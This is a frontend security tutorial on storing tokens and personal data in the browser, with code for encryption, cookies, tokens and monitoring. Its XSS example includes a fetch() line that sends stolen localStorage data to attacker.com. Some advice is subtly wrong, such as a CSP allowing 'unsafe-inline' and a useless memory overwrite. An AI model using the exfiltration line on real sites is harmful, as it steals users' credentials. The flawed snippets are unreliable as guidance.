阿里云主机折上折
  • 微信号
Current Site:Index > The issue of storing sensitive information on the frontend

The issue of storing sensitive information on the frontend

Author:Chuan Chen 阅读数:61485人阅读 分类: 前端安全

Sensitive Information Storage Issues in Frontend Development

The storage of sensitive information in frontend development has always been a challenging problem. The browser environment is open and vulnerable to attacks, and improper storage methods can lead to security risks such as data leaks, XSS attacks, or CSRF attacks.

Definition and Classification of Sensitive Information

Sensitive information typically includes but is not limited to the following types:

  1. User Credentials: Login tokens, session IDs, OAuth tokens
  2. Personally Identifiable Information (PII): ID numbers, phone numbers, bank card details
  3. Business-Sensitive Data: Unencrypted API keys, internal system addresses
  4. Permission-Related Data: User roles, access control lists (ACLs)
// Example of incorrect sensitive information storage
const user = {
  id: 123,
  name: "Zhang San",
  token: "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  creditCard: "622588******1234"
};
localStorage.setItem("user", JSON.stringify(user));

Common Storage Methods and Their Risks

1. localStorage/sessionStorage

Features:

  • Restricted by same-origin policy
  • Persistent storage (localStorage) or session-level storage (sessionStorage)
  • Storage capacity of approximately 5MB

Risks:

  • XSS attacks can directly read all content
  • No automatic expiration mechanism
  • Data is stored in plaintext
// Example of an XSS attack
const stolenData = localStorage.getItem("user");
fetch("https://attacker.com/steal", {
  method: "POST",
  body: stolenData
});

2. Cookies

Features:

  • Can set attributes like HttpOnly, Secure, and SameSite
  • Size limit (approximately 4KB)
  • Automatically sent with requests

Risks:

  • Can be read via JavaScript if HttpOnly is not set
  • CSRF attack risk
  • Subdomain sharing issues
// Example of secure cookie settings (server-side)
// Set-Cookie: token=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600

3. IndexedDB

Features:

  • Asynchronous key-value storage
  • Supports transactions
  • Large storage capacity (typically 50MB+)

Risks:

  • Still vulnerable to XSS threats
  • Complex queries may expose sensitive data
  • Requires manual encryption

Secure Storage Best Practices

1. Principle of Minimal Storage

Store only necessary information and minimize validity periods:

// Store only essential fields
const safeUserData = {
  id: 123,
  name: "Zhang San",
  // Do not store the full token
  auth: {
    expires: 1630000000,
    // Store only a token fragment
    hint: "eyJ...1234" 
  }
};

2. Encrypted Storage

Use the Web Crypto API for client-side encryption:

async function encryptData(data, password) {
  const enc = new TextEncoder();
  const keyMaterial = await window.crypto.subtle.importKey(
    "raw",
    enc.encode(password),
    { name: "PBKDF2" },
    false,
    ["deriveKey"]
  );
  
  const salt = window.crypto.getRandomValues(new Uint8Array(16));
  const key = await window.crypto.subtle.deriveKey(
    {
      name: "PBKDF2",
      salt,
      iterations: 100000,
      hash: "SHA-256"
    },
    keyMaterial,
    { name: "AES-GCM", length: 256 },
    false,
    ["encrypt", "decrypt"]
  );
  
  const iv = window.crypto.getRandomValues(new Uint8Array(12));
  const encrypted = await window.crypto.subtle.encrypt(
    { name: "AES-GCM", iv },
    key,
    enc.encode(JSON.stringify(data))
  );
  
  return {
    salt: Array.from(salt),
    iv: Array.from(iv),
    data: Array.from(new Uint8Array(encrypted))
  };
}

3. Secure Token Design

Use a short-term token + refresh token mechanism:

// Example token structure
{
  "jti": "a1b2c3",       // Unique identifier
  "sub": "user123",      // User ID
  "exp": 1629993600,     // Short-term expiration (1 hour)
  "scope": "read:profile", // Minimal permissions
  "iss": "your-api"      // Issuer
}

Additional Measures to Defend Against XSS Attacks

  1. Content Security Policy (CSP):
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'unsafe-inline'">
  1. Input Filtering and Output Encoding:
function sanitize(input) {
  const div = document.createElement("div");
  div.textContent = input;
  return div.innerHTML;
}
  1. Protection in Modern Frameworks:
// React automatically escapes content
const userInput = "<script>alert('xss')</script>";
return <div>{userInput}</div>;

Memory Management for Sensitive Data

Even without persistent storage, sensitive data in memory needs protection:

// Use WeakMap to reduce exposure
const sensitiveData = new WeakMap();

class UserSession {
  constructor(token) {
    sensitiveData.set(this, { token });
  }
  
  getToken() {
    const data = sensitiveData.get(this);
    return data ? data.token : null;
  }
  
  clear() {
    sensitiveData.delete(this);
    // Overwrite memory references
    this._temp = Array(1000).fill("\x00"); 
  }
}

Risks of Browser Extensions

Browser extensions can access page DOM and storage:

// Extension content scripts may steal data
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === "getStorage") {
    sendResponse(localStorage.getItem(request.key));
  }
});

Protective Measures:

  • Avoid handling sensitive data in extension pages
  • Use isolated storage partitions
  • Implement the principle of least privilege

Special Considerations for Mobile Hybrid Apps

Hybrid apps (e.g., Cordova) require extra attention:

  1. Plugin Security:
<!-- config.xml should restrict permissions -->
<plugin name="cordova-plugin-file" spec="^6.0.0" />
<preference name="AndroidInsecureFileModeEnabled" value="false" />
  1. WebView Hardening:
// Android WebView settings
webView.getSettings().setAllowFileAccess(false);
webView.getSettings().setJavaScriptEnabled(false);

Compliance Requirements

Under regulations like GDPR and CCPA:

  1. Explicit user consent is required before storing data
  2. Provide data-clearing interfaces
  3. Maintain logs of data processing
// User consent management
class ConsentManager {
  constructor() {
    this.consents = {
      storage: false,
      analytics: false
    };
  }
  
  grantConsent(type) {
    this.consents[type] = true;
    // Write to read-only DOM attributes
    document.documentElement.dataset[`consent-${type}`] = "granted";
  }
}

Monitoring and Incident Response

Establish storage security monitoring mechanisms:

// Storage access monitoring
const originalSetItem = localStorage.setItem;
localStorage.setItem = function(key, value) {
  if (key.includes("token") || key.includes("auth")) {
    logSecurityEvent("SensitiveStorageAccess", { key });
  }
  return originalSetItem.apply(this, arguments);
};

function logSecurityEvent(type, metadata) {
  navigator.sendBeacon("/security-log", {
    type,
    metadata,
    timestamp: Date.now()
  });
}

Differences Between Development and Production Environments

Avoid using real sensitive data in development environments:

// Webpack environment variable injection
plugins: [
  new webpack.DefinePlugin({
    __SECURE_STORAGE__: JSON.stringify(
      process.env.NODE_ENV === "production" 
        ? "window._secureStorage" 
        : "window._mockStorage"
    )
  })
]

Emerging Technologies and Their Applications

  1. WebAssembly Encryption:
// Implement encryption in C++ (compiled to wasm)
EMSCRIPTEN_KEEPALIVE
void encrypt_data(char* input, int length) {
  // Encryption algorithm implementation...
}
  1. Trusted Types API:
// Enable Trusted Types
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy("storagePolicy", {
    createHTML: input => sanitize(input)
  });
}
  1. Web Locks API to Prevent Race Conditions:
navigator.locks.request("auth-token", async lock => {
  const token = await getFreshToken();
  // Securely update the token
});

Case Study Analysis

An e-commerce platform token leak incident:

Wrong Approach:

// Store the full JWT in localStorage
localStorage.setItem("auth", "eyJhbGciOiJIUzI1NiIs...");

// Page JS directly reads and uses it
const token = localStorage.getItem("auth");

Solution:

  1. Switch to HttpOnly cookies for storage
  2. Implement a dual-token mechanism (accessToken + refreshToken)
  3. Add fingerprint binding:
// Generate browser fingerprint
const fpPromise = import("https://openfpcdn.io/fingerprintjs/v3")
  .then(FingerprintJS => FingerprintJS.load());
fpPromise.then(fp => fp.get())
  .then(result => {
    // Associate fingerprint hash with the token
    storeEncrypted("fp_hash", result.visitorId); 
  });

本站部分内容来自互联网,一切版权均归源网站或源作者所有。

如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn

Front End Chuan

Front End Chuan, Chen Chuan's Code Teahouse 🍵, specializing in exorcising all kinds of stubborn bugs 💻. Daily serving baldness-warning-level development insights 🛠️, with a bonus of one-liners that'll make you laugh for ten years 🐟. Occasionally drops pixel-perfect romance brewed in a coffee cup ☕.